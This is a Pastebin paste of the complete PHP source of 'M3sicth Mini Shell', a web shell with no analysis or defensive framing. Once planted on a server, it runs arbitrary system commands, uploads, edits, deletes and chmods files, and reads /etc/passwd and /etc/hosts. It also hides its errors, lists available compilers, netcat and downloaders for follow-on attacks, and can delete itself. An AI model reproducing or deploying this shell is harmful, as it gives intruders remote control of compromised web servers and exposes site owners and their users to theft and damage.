Advertisement
Gse7en-X

Untitled

May 3rd, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.86 KB | None | 0 0
  1. <?php
  2. // M3sicth Mini Shell
  3. @ini_set('error_log',NULL);
  4. @ini_set('log_errors',0);
  5. @ini_set('display_errors', 0);
  6. @error_reporting(0);
  7. @error_log(false);
  8. $slash = '/';
  9. if(strtolower(substr(PHP_OS,0,3))=='win'){ $os = 'win'; $slash = '\\'; $ox = "Windows";}else{ $os = "nix"; $ox = "Linux"; }
  10. function sanitize($object){
  11. return filter_var(htmlspecialchars($object), FILTER_SANITIZE_STRING);
  12. }
  13. function get_users(){
  14. $users = array();
  15. $user = file("/etc/passwd");
  16. foreach ($user as $userx => $userz) {
  17. $userct = explode(":", $userz);
  18. array_push($users,$userct[0]);
  19. }
  20. if(!$user){
  21. if($open = opendir("/home/")){
  22. while(($file = readdir($open)) !== false){ array_push($users, $file); }
  23. }
  24. closedir($open);
  25. }
  26. $users = implode(', ', $users);
  27. return $users;
  28. }
  29. function exe($cmd){
  30. if(function_exists('system')) {
  31. @ob_start();
  32. @system($cmd);
  33. $buff = @ob_get_contents();
  34. @ob_end_clean();
  35. }elseif(function_exists('exec')) {
  36. @exec($cmd,$results);
  37. $buff = join("\n", $results);
  38. } elseif(function_exists('passthru')) {
  39. @ob_start();
  40. @passthru($cmd);
  41. $buff = @ob_get_contents();
  42. @ob_end_clean();
  43. } elseif(function_exists('shell_exec')) {
  44. $buff = @shell_exec($cmd);
  45. }elseif(function_exists('proc_open')){
  46. $desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  47. $handle = proc_open($cmd, $desc, $pipes);
  48. if(is_resource($handle)){
  49. if(function_exists('fread') && function_exists('feof')){
  50. while(!feof($pipes[1])){ $buff .= fread($pipes[1], 512); }
  51. }elseif(function_exists('fgets') && function_exists('feof')){
  52. while(!feof($pipes[1])){ $buff .= fgets($pipes[1], 512); }
  53. }
  54. }
  55. pclose($handle);
  56. }elseif(function_exists('popen')){
  57. $handle = popen($cmd, "r");
  58. if(is_resource($handle)){
  59. if(function_exists('fread') && function_exists('feof')){
  60. while(!feof($handle)){ $buff .= fread($handle, 512); }
  61. }elseif(function_exists('fgets') && function_exists('feof')){
  62. while(!feof($handle)){ $buff .= fgets($handle, 512); }
  63. }
  64. }
  65. pclose($handle);
  66. }
  67. $buff = wordwrap(htmlspecialchars($buff));
  68. return $buff;
  69. }
  70. echo "
  71. <!DOCTYPE html>
  72. <html>
  73. <head>
  74. <link rel=\"shortcut icon\" href=\"https://cdn.iconscout.com/public/images/icon/premium/png-512/joker-suicide-squad-3bffcceeb7044b82-512x512.png\" />
  75. <meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW, NOARCHIVE\" />
  76. <meta name=\"GOOGLEBOT\" content=\"NOINDEX, NOFOLLOW, NOARCHIVE\" />
  77. <meta charset=\"UTF-8\">
  78. <script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>
  79. <link href='http://fonts.googleapis.com/css?family=Monoton' rel='stylesheet' type='text/css'>
  80. <title>:~M3sicth Mini Shell~:</title>
  81. <style>
  82. @import url(\"http://fonts.googleapis.com/css?family=Iceberg:400\");
  83. *, body, html { text-shadow: 0px 0px 1px #141414; cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur863.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur863.png), default !important;}
  84. html {font-family: 'Iceberg';}
  85. .chekwa{ display: none;}
  86. .wala { border-bottom: none;}
  87. input { border: none; background: none; font-family: 'Courier New';}
  88. textarea{ background: #111111; font-family: 'Courier New'; font-size: 15px; border: 1px dashed lime; border-radius: 15px; padding: 10px; color: white;}
  89. .submit{ background: lime; color: black; }
  90. select{ background: lime; color: black; font-family: 'Courier New'; border: none;}
  91. option{ font-family: 'Courier New'; background: lime; border: none;}
  92. .titulo {text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime;color: #00ff00;text-decoration: none;}
  93. body { background: #111111; color: white; text-align : center;}
  94. .foot{ position: relative; width: 100%; bottom: 0;}
  95. a { color: white; text-decoration: none;}
  96. #details{ -moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; min-height:100px; margin-top: 10px;}
  97. tr:hover { background: #141414;}
  98. a:hover { text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime;color: #00ff00;text-decoration: none; }
  99. .lamesa, .mesa { width:100%; padding:4px 0; color:white; font-size:15px;}
  100. .mesa td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:top;}
  101. .board {text-align: center;border: 1px solid rgba(255,180,0,0.4);border-radius: 4px;width: 500px;font-family: 'Monoton'}
  102. .board p {font-size: 65px;font-family: 'Monoton', cursive;color: #fff;text-transform: uppercase;padding: 0;margin: 0;}
  103. pre { text-align: left;}
  104. .pare{ border: 1px dashed lime; border-radius: 15px; color: #9b9b9b; font-size: 15px; font-family: 'Courier New'; padding: 15px;}
  105. textarea:focus{ outline: none;}
  106. .piktur { width: 60px; cursor: pointer; opacity: .5; transition: .5s ease-in-out;}
  107. .piktur:hover { opacity: 1; width: 75px;}
  108. code { font-family: monospace; }
  109. </style>";?>
  110. <script type="text/javascript">
  111. $(document).ready(function() {$('#m3').novacancy({'reblinkProbability': 0.1,'blinkMin': 0.2,'blinkMax': 0.6,'loopMin': 8,'loopMax': 10,'color': '#ffffff','glow': ['0 0 80px #ffffff', '0 0 30px #008000', '0 0 6px #0000ff']});
  112. $('#pirates').novacancy({'blink': 1,'off': 1,'color': 'Red','glow': ['0 0 80px Red', '0 0 30px FireBrick', '0 0 6px DarkRed']});});
  113. </script>
  114. <?php echo "
  115. </head>
  116. <body>
  117. <center><div class=\"board\" style=\"width: 30%;\"><p id=\"m3\">M3</p><p id=\"pirates\">Mini Shell</p></div></center>
  118. <div id='details'>
  119. <table class=\"lamesa\" cellpadding=\"3\" cellspacing\"1\">
  120. <tr>
  121. <td><font class=\"titulo wala\">Directory:~$</font>&nbsp;";
  122. if(isset($_GET['path'])){
  123. $path = sanitize($_GET['path']);
  124. }else{
  125. $path = sanitize(getcwd());
  126. }
  127. $path = str_replace('\\','/',$path);
  128. $paths = explode('/',$path);
  129. foreach($paths as $id=>$peth){
  130. if($peth == '' && $id == 0){
  131. $a = true;
  132. echo "<a href=\"?path=/\">/</a>";
  133. continue;
  134. }//if
  135. if($peth == '') continue;
  136. echo "<a href='?path=";
  137. for($i=0;$i<=$id;$i++){
  138. echo $paths[$i];
  139. if($i != $id) echo "/";
  140. }//for
  141. echo "'>".$peth."</a>/";
  142. }//foreach
  143. echo "
  144. </td>
  145. </tr>
  146. <tr>
  147. <td>";
  148. if(isset($_FILES['file'])){
  149. if(@copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  150. echo "<font color=lime><a href=".sanitize($_FILES['file']['name'])." target='_blank'>File Uploaded!</font><br/>";
  151. }else{
  152. echo "<font color=red>File Not Uploaded!</font><br/>";
  153. }//upload
  154. }//file
  155. echo "
  156. <form method=POST enctype=\"multipart/form-data\"><font class=\"titulo wala\">Upload File<br><label for=\"upload\"><img class=\"piktur\" src=\"https://cdn3.iconfinder.com/data/icons/glypho-generic-icons/64/action-upload-alt-512.png\"><input id=\"upload\" class=\"chekwa\" type=\"file\" name=\"file\"></label><br><input type=\"submit\" class=\"submit\" ";
  157. if(!is_writable($path)){echo "disabled value='Not Writable!' style='background: red;'";}else{ echo "value='Upload!'"; }
  158. echo "
  159. ></form>
  160. </td>
  161. </tr><tr><td class=\"wala\">[<a href=".sanitize($_SERVER['PHP_SELF']).">Home</a>]&nbsp;[<a href='?details'>System Details</a>]&nbsp;[<a href='?kill'>Kill Me</a>]</td></tr></table></div><table>";
  162. if(isset($_GET['details'])){
  163. global $os;
  164. $ds = @ini_get("disable_functions");
  165. $show_ds = (!empty($ds)) ? "<font color=red>".sanitize(wordwrap($ds))."</font>" : "<font color=gold>NONE</font>";
  166. echo "</table><div id=\"details\"><table class=\"mesa\" width=100%><center>
  167. <tr><td><h1 class=titulo>System Information</h1></td></tr>
  168. <tr><td><font color=lime>OS</font>:: <font color=gold>".php_uname(s)."</font></td></tr>
  169. <tr><td><font color=lime>PHP Version</font>:: <font color=gold>".phpversion()."</font></td></tr>
  170. <tr><td><font color=lime>Kernel Release</font>:: <font color=gold>".php_uname(r)."</font></td></tr>
  171. <tr><td><font color=lime>Kernel Version</font>:: <font color=gold>".php_uname(v)."</font></td></tr>
  172. <tr><td><font color=lime>Machine</font>:: <font color=gold>".php_uname(m)."</font></td></tr>
  173. <tr><td><font color=lime>Server Software</font>:: <font color=gold>".$_SERVER['SERVER_SOFTWARE']."</font></td></tr>
  174. <tr><td style=\"text-align:left\"><font color=lime>Disabled Functions</font>:: <font color=gold>".wordwrap($show_ds)."</font></td></tr>";
  175. if(function_exists('apache_get_modules')){
  176. echo "<tr><td style=\"text-align:left\"><font color=lime>Loaded Apache Modules</font>:: <pre>";
  177. $apache = implode(', ', apache_get_modules());
  178. echo wordwrap($apache);
  179. echo "</pre></td></tr>";
  180. }//apache
  181. if($os == 'win'){echo "<tr><td style=\"text-align:left\"><font color=lime>Account Settings</font>:: <pre>".exe('net accounts')."</pre></td></tr><tr><td style=\"text-align:left\"><font color=lime>User Accounts</font>:: <pre>".exe('net user')."</pre></td></tr>";}//Windows
  182. if($os == 'nix'){
  183. echo "<tr><td style=\"text-align:left\"><font color=lime>Distro</font>:: <pre>".exe('cat /etc/*-release')."</pre></td></tr>
  184. <tr><td style=\"text-align:left\"><font color=lime>Distro Name</font>:: <pre>".exe('cat /etc/issue.net')."</pre></td></tr>
  185. <tr><td style=\"text-align:left\"><font color=lime>GCC</font>:: <pre>".exe('whereis gcc')."</pre></td></tr>
  186. <tr><td style=\"text-align:left\"><font color=lime>Perl</font>:: <pre>".exe('whereis perl')."</pre></td></tr>
  187. <tr><td style=\"text-align:left\"><font color=lime>Java</font>:: <pre>".exe('whereis java')."</pre></td></tr>
  188. <tr><td style=\"text-align:left\"><font color=lime>Python</font>:: <pre>".exe('whereis python')."</pre></td></tr>
  189. <tr><td style=\"text-align:left\"><font color=lime>Apache</font>:: <pre>".exe('whereis apache')."</pre></td></tr>
  190. <tr><td style=\"text-align:left\"><font color=lime>CPU</font>:: <pre>".exe('cat /proc/cpuinfo')."</pre></td></tr>
  191. <tr><td style=\"text-align:left\"><font color=lime>RAM</font>:: <pre>".exe('free -m')."</pre></td></tr>
  192. <tr><td style=\"text-align:left\"><font color=lime>User Limits</font>:: <pre>".exe('ulimit -a')."</pre></td></tr>
  193. ";
  194. $useful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  195. $uze=array();
  196. foreach($useful as $uzeful){
  197. if(exe("which $uzeful")){
  198. $uze[]=$uzeful;
  199. }
  200. }
  201. echo "<tr><td style='text-align:left'><font color=lime>Useful</font>::<pre>";
  202. echo implode(', ',$uze);
  203. echo "</pre></td></tr>";
  204. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  205. $uze=array();
  206. foreach($downloaders as $downloader){
  207. if(exe("which $downloader")){
  208. $uze[]=$downloader;
  209. }
  210. }
  211. echo "<tr><td style='text-align:left'><font color=lime>Downloaders</font>::<pre>";
  212. echo implode(', ',$uze);
  213. echo "</pre></td></tr>";
  214. echo "<tr><td style='text-align:left'><font color=lime>Users</font>::<pre>".wordwrap(get_users())."</pre</font></td></tr>
  215. <tr><td style='text-align:left'><font color=lime>Hosts</font>::<pre>".exe('cat /etc/hosts')."</pre></font></td></tr>";
  216. }//Linux
  217. echo "</table></div>";
  218. }elseif(isset($_GET['kill'])){
  219. $me = sanitize($_SERVER['PHP_SELF']);
  220. $akez = basename($me);
  221. if(unlink($akez)){
  222. echo "<script>alert('Sayonara Suckers .|.')</script><meta http-equiv=\"refresh\" content=\"0; URL=http://xbox.nu/r3dDXDTOOL.swf\">";
  223. }else{ echo "<center><font color=red>Still Alive!</font></center>"; }
  224. }elseif(isset($_GET['filesource'])){
  225. echo "<tr><td class=\"titulo\"><center>Current File:~$&nbsp;".sanitize($_GET['filesource'])."</center></td></tr></table><br/>";
  226. echo "<pre class=\"pare\"><code>".wordwrap(sanitize(file_get_contents($_GET['filesource'])))."</code></pre>";
  227. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  228. echo "</table><br><center>".sanitize($_GET['path'])."<br><br>";
  229. if($_POST['opt'] == 'chmod'){
  230. if(isset($_POST['perm'])){
  231. if(@chmod($_POST['path'], $_POST['perm'])){
  232. echo "<font color=lime>Permission Changed!</font>";
  233. }else{
  234. echo "<font color=red>Permission Not Change!</font>";
  235. }//change perm * chmod
  236. }//perm
  237. echo "<form method=POST><font class=\"titulo\">Permission:~$&nbsp;</font><input type=\"text\" name=\"perm\" size=\"4\" value='".substr(sprintf('%o', fileperms($_POST['path'])), -4)."'><input type=\"hidden\" name=\"path\" value='".$_POST['path']."'><input type=\"hidden\" name=\"opt\" value=\"chmod\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  238. }elseif($_POST['opt'] == 'rename'){
  239. if(isset($_POST['newname'])){
  240. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  241. echo "<font color=lime>File Name Changed!</font><br>";
  242. }else{
  243. echo "<font color=red>File Name Not Change!</font>";
  244. }//rename
  245. $_POST['name'] = $_POST['newname'];
  246. }//rename
  247. echo "<form method=POST><font class=\"titulo\">New Name:~$&nbsp;</font><input name= \"newname\" type=\"text\" size=\"20\" value='".sanitize($_POST['name'])."'><input type=\"hidden\" name=\"path\" value='".sanitize($_POST['path'])."'><input type=\"hidden\" name=\"opt\" value=\"rename\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  248. }elseif($_POST['opt'] == 'edit'){
  249. if(isset($_POST['source'])){
  250. $fopen = fopen($_POST['path'], 'w');
  251. if(fwrite($fopen, $_POST['source'])){
  252. echo "<font color=lime>File Editted!</font><br>";
  253. }else{
  254. echo "<font color=red>File Not Editted!</font><br>";
  255. }//fwrite
  256. fclose($fopen);
  257. }//source
  258. echo "<form method=POST><textarea cols=80 rows=20 name=\"source\">".sanitize(file_get_contents($_POST['path']))."</textarea><br><input type=\"hidden\" name=\"path\" value='".sanitize($_POST['path'])."'><input type=\"hidden\" name=\"opt\" value=\"edit\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  259. }//chmod//rename//edit
  260. echo "</center>";
  261. }else{
  262. echo "</table><br></center>";
  263. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  264. if($_POST['type'] == 'dir'){
  265. if(rmdir($_POST['path'])){
  266. echo "<font color=lime>Directory Deleted!</font><br>";
  267. }else{
  268. echo "<font color=red>Directory Not Deleted!</font><br>";
  269. }//rmdir
  270. }elseif($_POST['type'] == 'file'){
  271. if(unlink($_POST['path'])){
  272. echo "<font color=lime>File Deleted!</font><br>";
  273. }else{
  274. echo "<font color=red>File Not Deleted!</font><br>";
  275. }//unlink
  276. }//dir//file
  277. }//delete
  278. echo "</center>";
  279. $scandir = scandir($path);
  280. echo "
  281. <div class=\"content\" id=\"details\">
  282. <table class=\"lamesa\" cellpadding=\"3\" cellspacing=\"1\">
  283. <tr>
  284. <th><font class=\"titulo\">Name</font></th>
  285. <th><font class=\"titulo\">Size</font></th>
  286. <th><font class=\"titulo\">Permissions</font></th>
  287. <th><font class=\"titulo\">Options</font></th>
  288. </tr>";
  289. foreach($scandir as $dir){
  290. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  291. echo "
  292. <tr>
  293. <td><a href=\"?path=".$path."/".$dir."\">".$dir."</a></td>
  294. <td><center>~</center></td>
  295. <td><center>";
  296. if(is_writable($path.'/'.$dir)) echo "<font color=lime>";//is_writable
  297. elseif(!is_readable($path.'/'.$dir)) echo "<font color=red>";//is_readable
  298. echo perms($path.'/'.$dir);
  299. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo "</font>";
  300. echo "</center></td>
  301. <td><center>
  302. <form method=POST action=\"?option&path=".$path."\">
  303. <select name=\"opt\">
  304. <option value=\"\"></option>
  305. <option value=\"delete\">Delete</option>
  306. <option value=\"chmod\">Chmod</option>
  307. <option value=\"rename\">Rename</option>
  308. </select>
  309. <input type=\"hidden\" name=\"type\" value=\"dir\">
  310. <input type=\"hidden\" name=\"name\" value='".$dir.">
  311. <input type=\"hidden\" name=\"path\" value='".$path."/".$dir.">
  312. <input type=\"submit\" class=\"submit\" value=\">>\">
  313. </form>
  314. </center></td>
  315. </tr>";
  316. }//foreach
  317. echo "
  318. <tr>
  319. <td>----------------</td><td>----------------</td><td>----------------</td><td>----------------</td>
  320. </tr>";
  321. foreach($scandir as $file){
  322. if(!is_file($path.'/'.$file)) continue;//is_file
  323. $size = filesize($path.'/'.$file)/1024;
  324. $size = round($size,3);
  325. if($size >= 1024){
  326. $size = round($size/1024,2).' MB';
  327. }else{
  328. $size = $size.' KB';
  329. }//size
  330. echo "
  331. <tr>
  332. <td><a href=\"?filesource=".$path."/".$file."&path=".$path."\">".$file."</a></td>
  333. <td><center>".$size."</center></td>
  334. <td><center>";
  335. if(is_writable($path.'/'.$file)) echo "<font color=lime>";//is_writable
  336. elseif(!is_readable($path.'/'.$file)) echo "<font color=red>";//is_readable
  337. echo perms($path.'/'.$file);
  338. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo "</font>";
  339. echo "</center></td>
  340. <td><center>
  341. <form method=POST action=\"?option&path=".$path."\">
  342. <select name=\"opt\">
  343. <option value=\"\"></option>
  344. <option value=\"edit\">Edit</option>
  345. <option value=\"delete\">Delete</option>
  346. <option value=\"chmod\">Chmod</option>
  347. <option value=\"rename\">Rename</option>
  348. </select>
  349. <input type=\"hidden\" name=\"type\" value=\"file\">
  350. <input type=\"hidden\" name=\"name\" value='".$file."'>
  351. <input type=\"hidden\" name=\"path\" value='".$path."/".$file."'>
  352. <input type=\"submit\" class=\"submit\" value=\">>\">
  353. </form>
  354. </center></td>
  355. </tr>";
  356. }//foreach
  357. echo "
  358. </table>
  359. </div>";
  360. }//filesource//Delete
  361. echo "
  362. </table>
  363. <div class='foot'>
  364. <hr width='80%'>
  365. <footer>&copy; <font color=lime class=titulo>M3</font> ".date('Y')."</footer>
  366. </div>
  367. </body>
  368. </html>";
  369. function perms($file){
  370. $perms = fileperms($file);
  371. if (($perms & 0xC000) == 0xC000) {
  372. // Socket
  373. $info = 's';
  374. } elseif (($perms & 0xA000) == 0xA000) {
  375. // Symbolic Link
  376. $info = 'l';
  377. } elseif (($perms & 0x8000) == 0x8000) {
  378. // Regular
  379. $info = '-';
  380. } elseif (($perms & 0x6000) == 0x6000) {
  381. // Block special
  382. $info = 'b';
  383. } elseif (($perms & 0x4000) == 0x4000) {
  384. // Directory
  385. $info = 'd';
  386. } elseif (($perms & 0x2000) == 0x2000) {
  387. // Character special
  388. $info = 'c';
  389. } elseif (($perms & 0x1000) == 0x1000) {
  390. // FIFO pipe
  391. $info = 'p';
  392. } else {
  393. // Unknown
  394. $info = 'u';
  395. }
  396. // Owner
  397. $info .= (($perms & 0x0100) ? 'r' : '-');
  398. $info .= (($perms & 0x0080) ? 'w' : '-');
  399. $info .= (($perms & 0x0040) ?
  400. (($perms & 0x0800) ? 's' : 'x' ) :
  401. (($perms & 0x0800) ? 'S' : '-'));
  402. // Group
  403. $info .= (($perms & 0x0020) ? 'r' : '-');
  404. $info .= (($perms & 0x0010) ? 'w' : '-');
  405. $info .= (($perms & 0x0008) ?
  406. (($perms & 0x0400) ? 's' : 'x' ) :
  407. (($perms & 0x0400) ? 'S' : '-'));
  408. // World
  409. $info .= (($perms & 0x0004) ? 'r' : '-');
  410. $info .= (($perms & 0x0002) ? 'w' : '-');
  411. $info .= (($perms & 0x0001) ?
  412. (($perms & 0x0200) ? 't' : 'x' ) :
  413. (($perms & 0x0200) ? 'T' : '-'));
  414.  
  415. return $info;
  416. }
  417. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement